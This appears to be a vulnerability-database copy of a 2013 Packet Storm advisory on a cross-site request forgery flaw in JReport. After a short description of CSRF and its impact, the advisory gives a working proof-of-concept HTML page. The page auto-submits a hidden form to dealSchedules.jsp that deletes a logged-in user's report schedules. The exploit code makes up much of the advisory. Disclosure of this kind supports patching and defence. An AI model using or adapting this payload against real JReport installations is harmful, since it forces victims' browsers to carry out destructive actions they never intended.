Lucene search
K

JReport Cross Site Request Forgery

🗓️ 25 Oct 2013 00:00:00Reported by asheesh anacondaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

JReport Cross Site Request Forgery Vulnerability discovered by Poonam Singh. CSRF can compromise user data and application security

Code
`================================================================================================================================================================  
  
JREPORT Cross Site Request Forgery Vulnerability  
================================================================================================================================================================  
  
  
#Date- 24/10/2013  
  
# Author Asheesh kumar Mani Tripathi  
  
Asheesh Anaconda  
  
  
  
# Vulnerbaility Discoverd By :Poonam Singh  
  
  
  
#Vulnerbility  
JREPORT is prone to an Cross Site Request Forgery Vulnerability (CSRF) Vulnerability   
  
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF,  
is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.  
  
#Impact  
An attacker may force the users of a web application to execute actions of the attacker's choosing.  
A successful CSRF exploit can compromise end user data and operation in case of normal user.  
If the targeted end user is the administrator account, this can compromise the entire web application.  
  
  
  
<html>  
<body>  
<form name="foo" action="https://172.28.1.1/jreport/jinfonet/dealSchedules.jsp"method="post">  
<input type=hidden name="d1" value="2013-08-03%252014%253a20%253a41.29">  
<input type=hidden name="cmd" value="cmd_delete_schedules">  
<input type=hidden name="taskClass" value="APIDemoDynamicExportTask">  
<input type=hidden name="taskUrl" value="schedulePage.jsp%3Fjrs.cmd%3Djrs.get_edit_schd_page%26jrs.task_id%3D2013-08-03%252014%253a20%253a41.29%26jrs.catalog%3D%252fSecurity%252fSecurity.cat%26jrs.report%3D%252fSecurity%252fBank_User%2520Activation.cls%26jrs.path%3D%2FUSERFOLDERPATH%2Fadmin">  
<input type=hidden name="jrs.path" value="%2FUSERFOLDERPATH%2Fadmin">  
</form>  
<script>  
document.foo.submit();  
</script>  
</body>  
</html>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation